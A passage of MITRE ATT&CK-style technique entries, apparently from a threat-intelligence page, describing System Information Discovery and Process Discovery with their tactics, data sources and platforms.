Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre